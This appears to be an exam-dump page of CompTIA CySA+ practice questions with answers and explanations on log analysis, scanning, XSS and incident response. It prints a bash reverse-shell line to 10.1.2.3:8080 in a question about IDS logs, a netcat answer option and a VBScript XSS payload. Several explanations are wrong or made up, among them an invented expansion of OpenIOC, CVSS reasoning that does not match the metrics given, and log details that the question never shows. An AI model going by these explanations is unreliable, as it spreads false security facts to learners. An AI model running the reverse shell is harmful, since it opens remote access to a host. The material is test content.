A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case, the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

NEW QUESTION 56

While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems. Which of the following should be checked first?

- A. If appropriate logging levels are set
- B. NTP configuration on each system
- C. Behavioral correlation settings
- D. Data normalization rules

Answer: B

Explanation:

The NTP configuration on each system should be checked first, as it is essential for ensuring accurate and consistent time stamps across different systems. NTP is the Network Time Protocol, which is used to synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks accordingly¹. If the NTP configuration is not consistent or correct on each system, the time stamps of the logs and events may differ, making it difficult to correlate incidents across different systems. This can affect the security analysis and correlation of events, as well as the compliance and auditing of the network²³. References: How the Windows Time Service Works, Time Synchronization - All You Need To Know, What is SIEM? | Microsoft Security

NEW QUESTION 57

A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with. Which of the following is the best mitigation technique?

- A. Geoblock the offending source country
- B. Block the IP range of the scans at the network firewall.
- C. Perform a historical trend analysis and look for similar scanning activity.
- D. Block the specific IP address of the scans at the network firewall

Answer: A

Explanation:

Geoblocking is the best mitigation technique for unusual network scanning activity coming from a country that the company does not do business with, as it can prevent any potential attacks or data breaches from that country. Geoblocking is the practice of restricting access to websites or services based on geographic location, usually by blocking IP addresses associated with a certain country or region. Geoblocking can help reduce the overall attack surface and protect against malicious actors who may be trying to exploit vulnerabilities or steal information. The other options are not as effective as geoblocking, as they may not block all the possible sources of the scanning activity, or they may not address the root cause of the problem. Official References:

- ? <https://www.blumira.com/geoblocking/>
- ? <https://www.avg.com/en/signal/geo-blocking>

NEW QUESTION 61

A security analyst receives an alert for suspicious activity on a company laptop An excerpt of the log is shown below:

Event #	Process	Parent process
1	Console Windows Host (conhost.exe)	System (-)
2	Console Windows Host (conhost.exe)	Command Prompt (cmd.exe)
3	Windows Explorer (Explorer.exe)	Microsoft Outlook (outlook.exe)
4	Microsoft Outlook (outlook.exe)	Microsoft Word (winword.exe)
5	Microsoft Word (winword.exe)	PowerShell (powershell.exe)
6	Windows Explorer (Explorer.exe)	Google Chrome (chrome.exe)

Which of the following has most likely occurred?

- A. An Office document with a malicious macro was opened.
- B. A credential-stealing website was visited.
- C. A phishing link in an email was clicked
- D. A web browser vulnerability was exploited.

Answer: A

Explanation:

An Office document with a malicious macro was opened is the most likely explanation for the suspicious activity on the company laptop, as it reflects the common technique of using macros to execute PowerShell commands that download and run malware. A macro is a piece of code that can automate tasks or perform actions in an Office document, such as a Word file or an Excel spreadsheet. Macros can be useful and legitimate, but they can also be abused by threat actors to deliver malware or perform malicious actions on the system. A malicious macro can be embedded in an Office document that is sent as an attachment in a phishing email or hosted on a compromised website. When the user opens the document, they may be prompted to enable macros or content, which will trigger the execution of the malicious code. The malicious macro can then use PowerShell, which is a scripting language and command-line shell that is built into Windows, to perform various tasks, such as downloading and running malware from a remote URL, bypassing security controls, or establishing persistence on the system. The log excerpt shows that PowerShell was used to download a string from a URL using the WebClient.DownloadString method, which is a common way to fetch and execute malicious code from the internet. The log also shows that PowerShell was used to invoke an expression (iex) that contains obfuscated code, which is another common way to evade detection and analysis. The other options are not as likely as an Office document with a malicious macro was opened, as they do not match the evidence in the log excerpt. A credential-stealing website was visited is possible, but it does not explain why PowerShell was used to download and execute code from a URL. A phishing link in an email was clicked is also possible, but it does not explain what happened after the link was clicked or how PowerShell was involved. A web browser vulnerability was exploited is unlikely, as it does not explain why PowerShell was used to download and execute code from a URL.

NEW QUESTION 65

A security analyst needs to provide evidence of regular vulnerability scanning on the company's network for an auditing process. Which of the following is an example of a tool that can produce such evidence?

- A. OpenVAS
- B. Burp Suite
- C. Nmap
- D. Wireshark

Answer: A

Explanation:

OpenVAS is an open-source tool that performs comprehensive vulnerability scanning and assessment on the network. It can generate reports and evidence of the scan results, which can be used for auditing purposes. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 199; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 207.

NEW QUESTION 67

A SOC analyst is analyzing traffic on a network and notices an unauthorized scan. Which of the following types of activities is being observed?

- A. Potential precursor to an attack
- B. Unauthorized peer-to-peer communication
- C. Rogue device on the network
- D. System updates

Answer: A

NEW QUESTION 69

A systems administrator receives reports of an internet-accessible Linux server that is running very sluggishly. The administrator examines the server, sees a high amount of memory utilization, and suspects a DoS attack related to half-open TCP sessions consuming memory. Which of the following tools would best help to prove whether this server was experiencing this behavior?

- A. Nmap
- B. TCPDump
- C. SIEM
- D. EDR

Answer: B

Explanation:

TCPDump is the best tool to prove whether the server was experiencing a DoS attack related to half-open TCP sessions consuming memory. TCPDump is a command-line tool that can capture and analyze network traffic, such as TCP, UDP, and ICMP packets. TCPDump can help the administrator to identify the source and destination of the traffic, the TCP flags and sequence numbers, the packet size and frequency, and other information that can indicate a DoS attack. A DoS attack related to half-open TCP sessions is also known as a SYN flood attack, which is a type of volumetric attack that aims to exhaust the network bandwidth or resources of the target server by sending a large amount of TCP SYN requests and ignoring the TCP SYN-ACK responses. This creates a backlog of half-open connections on the server, which consume memory and CPU resources, and prevent legitimate connections from being established¹². TCPDump can help the administrator to detect a SYN flood attack by looking for a high number of TCP SYN packets with different source IP addresses, a low number of TCP SYN-ACK packets, and a very low number of TCP ACK packets³⁴. References: SYN flood DDoS attack | Cloudflare, What is a SYN flood attack and how to prevent it? | NETSCOUT, TCPDump - A Powerful Tool for Network Analysis and Security, How to Detect a SYN Flood Attack with TCPDump

NEW QUESTION 71

A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script:

```
foreach ($user in Get-Content .\this.txt)
{
    Get-ADUser $user -Properties primaryGroupID |select-object primaryGroupID
    Add-ADGroupMember "Domain Users" -Members $user
    Set-ADUser $user -Replace @{primaryGroupID=513}
}
```

Which of the following scripting languages was used in the script?

- A. PowerShell
- B. Ruby

- C. Python
- D. Shell script

Answer: A

Explanation:

The script uses PowerShell syntax, such as cmdlets, parameters, variables, and comments. PowerShell is a scripting language that can be used to automate tasks and manage systems.

NEW QUESTION 74

While reviewing web server logs, a security analyst found the following line:

```
<IMG SRC='vbscript:msgbox("test")'>
```

Which of the following malicious activities was attempted?

- A. Command injection
- B. XML injection
- C. Server-side request forgery
- D. Cross-site scripting

Answer: D

Explanation:

XSS is a type of web application attack that exploits the vulnerability of a web server or browser to execute malicious scripts or commands on the client-side. XSS attackers inject malicious code, such as JavaScript, VBScript, HTML, or CSS, into a web page or application that is viewed by other users. The malicious code can then access or manipulate the user's session, cookies, browser history, or personal information, or perform actions on behalf of the user, such as stealing credentials, redirecting to phishing sites, or installing malware¹²

The line in the web server log shows an example of an XSS attack using VBScript. The attacker tried to insert an tag with a malicious SRC attribute that contains a VBScript code. The VBScript code is intended to display a message box with the text "test" when the user views the web page or application. This is a simple and harmless example of XSS, but it could be used to test the vulnerability of the web server or browser, or to launch more sophisticated and harmful attacks³

NEW QUESTION 75

During a recent site survey, an analyst discovered a rogue wireless access point on the network. Which of the following actions should be taken first to protect the network while preserving evidence?

- A. Run a packet sniffer to monitor traffic to and from the access point.
- B. Connect to the access point and examine its log files.
- C. Identify who is connected to the access point and attempt to find the attacker.
- D. Disconnect the access point from the network

Answer: D

Explanation:

The correct answer is D. Disconnect the access point from the network.

A rogue access point is a wireless access point that has been installed on a network without the authorization or knowledge of the network administrator. A rogue access point can pose a serious security risk, as it can allow unauthorized users to access the network, intercept network traffic, or launch attacks against the network or its devices¹²³⁴.

The first action that should be taken to protect the network while preserving evidence is to disconnect the rogue access point from the network. This will prevent any further damage or compromise of the network by blocking the access point from communicating with other devices or users. Disconnecting the rogue access point will also preserve its state and configuration, which can be useful for forensic analysis and investigation. Disconnecting the rogue access point can be done physically by unplugging it from the network port or wirelessly by disabling its radio frequency⁵.

The other options are not the best actions to take first, as they may not protect the network or preserve evidence effectively.

Option A is not the best action to take first, as running a packet sniffer to monitor traffic to and from the access point may not stop the rogue access point from causing harm to the network. A packet sniffer is a tool that captures and analyzes network packets, which are units of data that travel across a network. A packet sniffer can be useful for identifying and troubleshooting network problems, but it may not be able to prevent or block malicious traffic from a rogue access point. Moreover, running a packet sniffer may require additional time and resources, which could delay the response and mitigation of the incident⁵.

Option B is not the best action to take first, as connecting to the access point and examining its log files may not protect the network or preserve evidence.

Connecting to the access point may expose the analyst's device or credentials to potential attacks or compromise by the rogue access point. Examining its log files may provide some information about the origin and activity of the rogue access point, but it may also alter or delete some evidence that could be useful for forensic analysis and investigation. Furthermore, connecting to the access point and examining its log files may not prevent or stop the rogue access point from continuing to harm the network⁵.

Option C is not the best action to take first, as identifying who is connected to the access point and attempting to find the attacker may not protect the network or preserve evidence. Identifying who is connected to the access point may require additional tools or techniques, such as scanning for wireless devices or analyzing network traffic, which could take time and resources away from responding and mitigating the incident. Attempting to find the attacker may also be difficult or impossible, as the attacker may use various methods to hide their identity or location, such as encryption, spoofing, or proxy servers. Moreover, identifying who is connected to the access point and attempting to find the attacker may not prevent or stop the rogue access point from causing further damage or compromise to the network⁵.

References:

- ? 1 CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives
- ? 2 Cybersecurity Analyst+ - CompTIA
- ? 3 CompTIA CySA+ CS0-002 Certification Study Guide
- ? 4 CertMaster Learn for CySA+ Training - CompTIA
- ? 5 How to Protect Against Rogue Access Points on Wi-Fi - Byos
- ? 6 Wireless Access Point Protection: 5 Steps to Find Rogue Wi-Fi Networks ...
- ? 7 Rogue Access Point - Techopedia
- ? 8 Rogue access point - Wikipedia
- ? 9 What is a Rogue Access Point (Rogue AP)? - Contextual Security

NEW QUESTION 79

A security analyst has found the following suspicious DNS traffic while analyzing a packet capture:

- DNS traffic while a tunneling session is active.
- The mean time between queries is less than one second.
- The average query length exceeds 100 characters. Which of the following attacks most likely occurred?

- A. DNS exfiltration
- B. DNS spoofing
- C. DNS zone transfer
- D. DNS poisoning

Answer: A

Explanation:

DNS exfiltration is a technique that uses the DNS protocol to transfer data from a compromised network or device to an attacker-controlled server. DNS exfiltration can bypass firewall rules and security products that do not inspect DNS traffic. The characteristics of the suspicious DNS traffic in the question match the indicators of DNS exfiltration, such as:

? DNS traffic while a tunneling session is active: This implies that the DNS protocol is being used to create a covert channel for data transfer.

? The mean time between queries is less than one second: This implies that the DNS queries are being sent at a high frequency to maximize the amount of data transferred.

? The average query length exceeds 100 characters: This implies that the DNS queries are encoding large amounts of data in the subdomains or other fields of the DNS packets.

Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://resources.infosecinstitute.com/topic/bypassing-security-products-via-dns-data-exfiltration/>

? https://www.reddit.com/r/CompTIA/comments/nvjuzt/dns_exfiltration_explanation/

NEW QUESTION 81

A cryptocurrency service company is primarily concerned with ensuring the accuracy of the data on one of its systems. A security analyst has been tasked with prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVSSv3.1 impact metrics for prioritization:

Vulnerability	CVSSv3.1 impact metrics
1	C:L/I:L/A:L
2	C:N/I:L/A:H
3	C:H/I:N/A:N
4	C:L/I:H/A:L

Which of the following vulnerabilities should be prioritized for remediation?

- A. 1
- B. 2
- C. 3
- D. 4

Answer: B

Explanation:

Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and more difficult to remediate.

References:

? CVSS v3.1 Specification Document, section 2.1.1 and 2.1.2

? The CVSS v3 Vulnerability Scoring System, section 3.1 and 3.2

NEW QUESTION 84

Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?

- A. Review Of security requirements
- B. Compliance checks
- C. Decomposing the application
- D. Security by design

Answer: C

Explanation:

The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the security risks associated with an application. The first step in the threat modeling process is decomposing the application, which involves creating use cases, identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps to understand the application and how it interacts with external entities, as well as to identify potential threats and vulnerabilities¹. The other options are not part of the OWASP WSTG threat modeling process.

NEW QUESTION 88

Which Of the following techniques would be best to provide the necessary assurance for embedded software that drives centrifugal pumps at a power Plant?

- A. Containerization
- B. Manual code reviews

- C. Static and dynamic analysis
- D. Formal methods

Answer: D

Explanation:

According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition¹, the best technique to provide the necessary assurance for embedded software that drives centrifugal pumps at a power plant is formal methods. Formal methods are a rigorous and mathematical approach to software development and verification, which can ensure the correctness and reliability of critical software systems. Formal methods can be used to specify, design, implement, and verify embedded software using formal languages, logics, and tools¹.

Containerization, manual code reviews, and static and dynamic analysis are also useful techniques for software assurance, but they are not as rigorous or comprehensive as formal methods. Containerization is a method of isolating and packaging software applications with their dependencies, which can improve security, portability, and scalability. Manual code reviews are a process of examining the source code of a software program by human reviewers, which can help identify errors, vulnerabilities, and compliance issues. Static and dynamic analysis are techniques of testing and evaluating software without executing it (static) or while executing it (dynamic), which can help detect bugs, defects, and performance issues¹.

NEW QUESTION 90

A security analyst reviews the following results of a Nikto scan:

```

shared@LinuxHint: ~
File Edit View Search Terminal Help
-----
+ Server: Apache
+ Root page / redirects to: https://www.proz.com/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ File/dir '/crawler-pit/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/s/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile?/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/?/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/translator/2372s/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/profile/127329s/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/?sp=login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/?sp=404/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ File/dir '/translation-news/wp-admin/' in robots.txt returned a non-forbidden or redirect HTTP code (500)
+ "robots.txt" contains 10 entries which should be manually viewed.
+ lines
+ /crossdomain.xml contains 1 line which should be manually viewed for improper domains or wildcards.
+ Server is using a wildcard certificate: '*.proz.com'
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8201xdh%28VS.80%29.aspx for details.
+ /kboard/: KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php
+ /lists/admin/: PHPLIST pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is admin/phplist
+ /splashAdmin.php: Cobalt Qube 3 admin is running. This may have multiple security problems as described by www.scan-associates.net. These could not be tested remotely.
+ /ssdefs/: Sitedeef pre 1.4.2 has 'major' security problems.
+ /sshome/: Sitedeef pre 1.4.2 has 'major' security problems.
+ /tiki/: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin
+ /tiki/tiki-install.php: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin
+ /scripts/samples/details.idc: See RFP 9901; www.wiretrip.net
+ OSVDB-396: /_vti_bin/shtml.exe: Attackers may be able to crash FrontPage by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempted.
+ OSVDB-637: /-root/: Allowed to browse root's home directory.
+ /cgi-bin/wrap: comes with IRIX 6.2: allows to view directories
+ /forums//admin/config.php: PHP Config file may contain database IDs and passwords.
+ /forums//adm/config.php: PHP Config file may contain database IDs and passwords.
+ /forums//administrator/config.php: PHP Config file may contain database IDs and passwords.

```

Which of the following should the security administrator investigate next?

- A. tiki
- B. phplist
- C. shtml.exe
- D. sshome

Answer: C

Explanation:

The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan results indicate that the web server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server Side Includes (SSI) feature, which allows dynamic content generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers to execute arbitrary commands on the web server by injecting malicious code into the URL or the web page¹². Therefore, the security administrator should check the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References: Nikto-Penetration testing. Introduction, Web application scanning with Nikto

NEW QUESTION 93

Which of the following is a nation-state actor least likely to be concerned with?

- A. Detection by MITRE ATT&CK framework.
- B. Detection or prevention of reconnaissance activities.
- C. Examination of its actions and objectives.
- D. Forensic analysis for legal action of the actions taken

Answer: D

Explanation:

A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework, which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify, prevent, and respond to cyberattacks by nation-state actors.

They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent, and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution.

References:

¹ MITRE ATT&CK®

- ? 2: What is the MITRE ATT&CK Framework? | IBM
- ? 3: MITRE ATT&CK | MITRE
- ? 4: Cyber Forensics Explained: Reasons, Phases & Challenges of Cyber Forensics | Splunk
- ? 5: Digital Forensics: How to Identify the Cause of a Cyber Attack - G2

NEW QUESTION 96

A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?

- A. Hacklivist
- B. Advanced persistent threat
- C. Insider threat
- D. Script kiddie

Answer: C

Explanation:

The user has become an insider threat by downloading software that contains malware onto a computer that eventually infects numerous other systems. An insider threat is a person or entity that has legitimate access to an organization's systems, networks, or resources and uses that access to cause harm or damage to the organization. An insider threat can be intentional or unintentional, malicious or negligent, and can result from various actions or behaviors, such as downloading unauthorized software, violating security policies, stealing data, sabotaging systems, or collaborating with external attackers.

NEW QUESTION 101

A security analyst is reviewing events that occurred during a possible compromise. The analyst obtains the following log:

Time stamp	Message
20:06:05	LDAP: A read operation was performed on an object: Domain Admins
20:06:05	LDAP: A read operation was performed on an object: Domain Servers
20:06:09	EDR: A local group was enumerated: Administrators
20:06:23	EDR: SMB connection attempts to multiple hosts from single host: PC021

Which of the following is most likely occurring, based on the events in the log?

- A. An adversary is attempting to find the shortest path of compromise.
- B. An adversary is performing a vulnerability scan.
- C. An adversary is escalating privileges.
- D. An adversary is performing a password stuffing attack..

Answer: B

Explanation:

Based on the events in the log, the most likely occurrence is that an adversary is performing a vulnerability scan. The log shows LDAP read operations and EDR enumerating local groups, which are indicative of an adversary scanning the system to find vulnerabilities or sensitive information. The final entry shows SMB connection attempts to multiple hosts from a single host, which could be a sign of network discovery or lateral movement. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161; Monitor logs from vulnerability scanners, Section: Reports on Nessus vulnerability data.

NEW QUESTION 105

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

- A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access
- B. An on-path attack is being performed by someone with internal access that forces users into port 80
- C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
- D. An error was caused by BGP due to new rules applied over the company's internal routers

Answer: B

Explanation:

An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for HTTPS communication. This would allow the attacker to compromise the user accounts and access the company's internal portal.

NEW QUESTION 109

A security analyst identified the following suspicious entry on the host-based IDS logs: `bash -i >& /dev/tcp/10.1.2.3/8080 0>&1`
 Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

- A. `#!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"`
- B. `#!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"`
- C. `#!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"`
- D. `#!/bin/bashnetstat -antp |grep 8080 >dev/null && echo "Malicious activity" || echo "OK"`

Answer: D

Explanation:

The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints “Malicious activity” if there is, or “OK” otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339. Reverse Shell Cheat Sheet, Bash section.

NEW QUESTION 113

Which of the following makes STIX and OpenIOC information readable by both humans and machines?

- A. XML
- B. URL
- C. OVAL
- D. TAXII

Answer: A

Explanation:

The correct answer is A. XML.

STIX and OpenIOC are two standards for representing and exchanging cyber threat intelligence (CTI) information. STIX stands for Structured Threat Information Expression and OpenIOC stands for Open Location and Identity Coordinates. Both standards use XML as the underlying data format to encode the information in a structured and machine-readable way. XML stands for Extensible Markup Language and it is a widely used standard for defining and exchanging data on the web. XML uses tags, attributes, and elements to describe the structure and meaning of the data. XML is also human-readable, as it uses plain text and follows a hierarchical and nested structure.

XML is not the only format that can be used to make STIX and OpenIOC information readable by both humans and machines, but it is the most common and widely supported one. Other formats that can be used include JSON, CSV, or PDF, depending on the use case and the preferences of the information producers and consumers. However, XML has some advantages over other formats, such as:

- ? XML is more expressive and flexible than JSON or CSV, as it can define complex data types, schemas, namespaces, and validation rules.
- ? XML is more standardized and interoperable than PDF, as it can be easily parsed, transformed, validated, and queried by various tools and languages.
- ? XML is more compatible with existing CTI standards and tools than other formats, as it is the basis for STIX 1.x, TAXII 1.x, MAEC, CybOX, OVAL, and others.

References:

- ? 1 Introduction to STIX - GitHub Pages
- ? 2 5 Best Threat Intelligence Feeds in 2023 (Free & Paid Tools) - Comparitech
- ? 3 What Are STIX/TAXII Standards? - Anomali Resources
- ? 4 What is STIX/TAXII? | Cloudflare
- ? 5 Sample Use | TAXII Project Documentation - GitHub Pages
- ? 6 Trying to retrieve xml data with taxii - Stack Overflow
- ? 7 CISA AIS TAXII Server Connection Guide
- ? 8 CISA AIS TAXII Server Connection Guide v2.0 | CISA

NEW QUESTION 118

An analyst is conducting routine vulnerability assessments on the company infrastructure. When performing these scans, a business-critical server crashes, and the cause is traced back to the vulnerability scanner. Which of the following is the cause of this issue?

- A. The scanner is running without an agent installed.
- B. The scanner is running in active mode.
- C. The scanner is segmented improperly.
- D. The scanner is configured with a scanning window.

Answer: B

Explanation:

The scanner is running in active mode, which is the cause of this issue. Active mode is a type of vulnerability scanning that sends probes or requests to the target systems to test their responses and identify potential vulnerabilities. Active mode can provide more accurate and comprehensive results, but it can also cause more network traffic, performance degradation, or system instability. In some cases, active mode can trigger denial-of-service (DoS) conditions or crash the target systems, especially if they are not configured to handle the scanning requests or if they have underlying vulnerabilities that can be exploited by the scanner¹². Therefore, the analyst should use caution when performing active mode scanning, and avoid scanning business-critical or sensitive systems without proper authorization and preparation³. References: Vulnerability Scanning for my Server - Spiceworks Community, Negative Impacts of Automated Vulnerability Scanners and How ... - Acunetix, Vulnerability Scanning Best Practices

NEW QUESTION 120

Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure environment?

- A. MOU
- B. NDA
- C. BIA
- D. SLA

Answer: D

Explanation:

SLA stands for Service Level Agreement, which is a contract that defines the various levels of maintenance to be provided by an external business vendor in a secure environment. An SLA specifies the expectations, responsibilities, and obligations of both parties, such as the scope, quality, availability, and performance of the service, as well as the metrics and methods for measuring and reporting the service level. An SLA also outlines the penalties or remedies for any breach or failure of the service level. An SLA can help ensure that the external business vendor delivers the service in a timely, consistent, and secure manner, and that the customer receives the service that meets their needs and requirements. Official References:

- ? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

NEW QUESTION 123

Which of the following can be used to learn more about TTPs used by cybercriminals?

- A. ZenMAP
- B. MITRE ATT&CK
- C. National Institute of Standards and Technology
- D. theHarvester

Answer: B

Explanation:

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. It is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. It can help security professionals understand, detect, and mitigate cyber threats by providing a comprehensive framework of TTPs.

References: MITRE ATT&CK, Getting Started with ATT&CK, MITRE ATT&CK | MITRE

NEW QUESTION 128

An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization. Which of the following should be deployed?

- A. Blocklisting
- B. Allowlisting
- C. Graylisting
- D. Webhooks

Answer: B

Explanation:

The correct answer is B. Allowlisting.

Allowlisting is a technique that allows only pre-approved web-based software to run on a system or network, while blocking all other software. Allowlisting can help prevent unauthorized or malicious software from compromising the security of an organization. Allowlisting can be implemented using various methods, such as application control, browser extensions, firewall rules, or proxy servers¹².

The other options are not the best techniques to ensure that users only leverage web-based software that has been pre-approved by the organization. Blocklisting (A) is a technique that blocks specific web-based software from running on a system or network, while allowing all other software. Blocklisting can be ineffective or inefficient, as it requires constant updates and may not catch all malicious software. Graylisting © is a technique that temporarily rejects or delays incoming messages from unknown or suspicious sources, until they are verified as legitimate. Graylisting is mainly used for email filtering, not for web-based software control. Webhooks (D) are a technique that allows web-based software to send or receive data from other web-based software in real time, based on certain events or triggers. Webhooks are not related to web-based software control, but rather to web-based software integration.

NEW QUESTION 129

A company has a primary control in place to restrict access to a sensitive database. However, the company discovered an authentication vulnerability that could bypass this control. Which of the following is the best compensating control?

- A. Running regular penetration tests to identify and address new vulnerabilities
- B. Conducting regular security awareness training of employees to prevent socialengineering attacks
- C. Deploying an additional layer of access controls to verify authorized individuals
- D. Implementing intrusion detection software to alert security teams of unauthorized access attempts

Answer: C

Explanation:

Deploying an additional layer of access controls to verify authorized individuals is the best compensating control for the authentication vulnerability that could bypass the primary control. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or a threat when the primary control is not sufficient or feasible. A compensating control should provide a similar or greater level of protection as the primary control, and should be closely related to the vulnerability or the threat it is addressing¹. In this case, the primary control is to restrict access to a sensitive database, and the vulnerability is an authentication bypass. Therefore, the best compensating control is to deploy an additional layer of access controls, such as multifactor authentication, role-based access control, or encryption, to verify the identity and the authorization of the individuals who are accessing the database. This way, the compensating control can prevent unauthorized access to the database, even if the primary control is bypassed²³. Running regular penetration tests, conducting regular security awareness training, and implementing intrusion detection software are all good security practices, but they are not compensating controls for the authentication vulnerability, as they do not provide a similar or greater level of protection as the primary control, and they are not closely related to the vulnerability or the threat they are addressing. References: Compensating Controls: An Impermanent Solution to an IT ... - Tripwire, What is Multifactor Authentication (MFA)? | Duo Security, Role-Based Access Control (RBAC) and Role-Based Security, [What is a Penetration Test and How Does It Work?]

NEW QUESTION 130

Which of the following best describes the goal of a disaster recovery exercise as preparation for possible incidents?

- A. To provide metrics and test continuity controls
- B. To verify the roles of the incident response team
- C. To provide recommendations for handling vulnerabilities
- D. To perform tests against implemented security controls

Answer: A

Explanation:

The correct answer is A. To provide metrics and test continuity controls.

A disaster recovery exercise is a simulation or a test of the disaster recovery plan, which is a set of procedures and resources that are used to restore the normal

operations of an organization after a disaster or a major incident. The goal of a disaster recovery exercise is to provide metrics and test continuity controls, which are the measures that ensure the availability and resilience of the critical systems and processes of an organization. A disaster recovery exercise can help evaluate the effectiveness, efficiency, and readiness of the disaster recovery plan, as well as identify and address any gaps or issues .

The other options are not the best descriptions of the goal of a disaster recovery exercise. Verifying the roles of the incident response team (B) is a goal of an incident response exercise, which is a simulation or a test of the incident response plan, which is a set of procedures and roles that are used to detect, contain, analyze, and remediate an incident. Providing recommendations for handling vulnerabilities © is a goal of a vulnerability assessment, which is a process of identifying and prioritizing the weaknesses and risks in an organization's systems or network. Performing tests against implemented security controls (D) is a goal of a penetration test, which is an authorized and simulated attack on an organization's systems or network to evaluate their security posture and identify any vulnerabilities or misconfigurations.

NEW QUESTION 135

A threat hunter seeks to identify new persistence mechanisms installed in an organization's environment. In collecting scheduled tasks from all enterprise workstations, the following host details are aggregated:

Task name	Target process	Number of hosts	Task user account
RtkAudUService64_BG	C:\Windows\System32\RtkAudUService64.exe	502	NT Authority\SYSTEM
BatteryGaugeMaintenance	%ProgramData%\Lenovo\Plugins\BGHelper.exe	410	NT Authority\SYSTEM
RtHVBg_PushButton	C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe	870	NT Authority\SYSTEM
UpdateService	C:\Users\sam\AppData\Roaming\Temp\taskhw.exe	1	PROD\sam

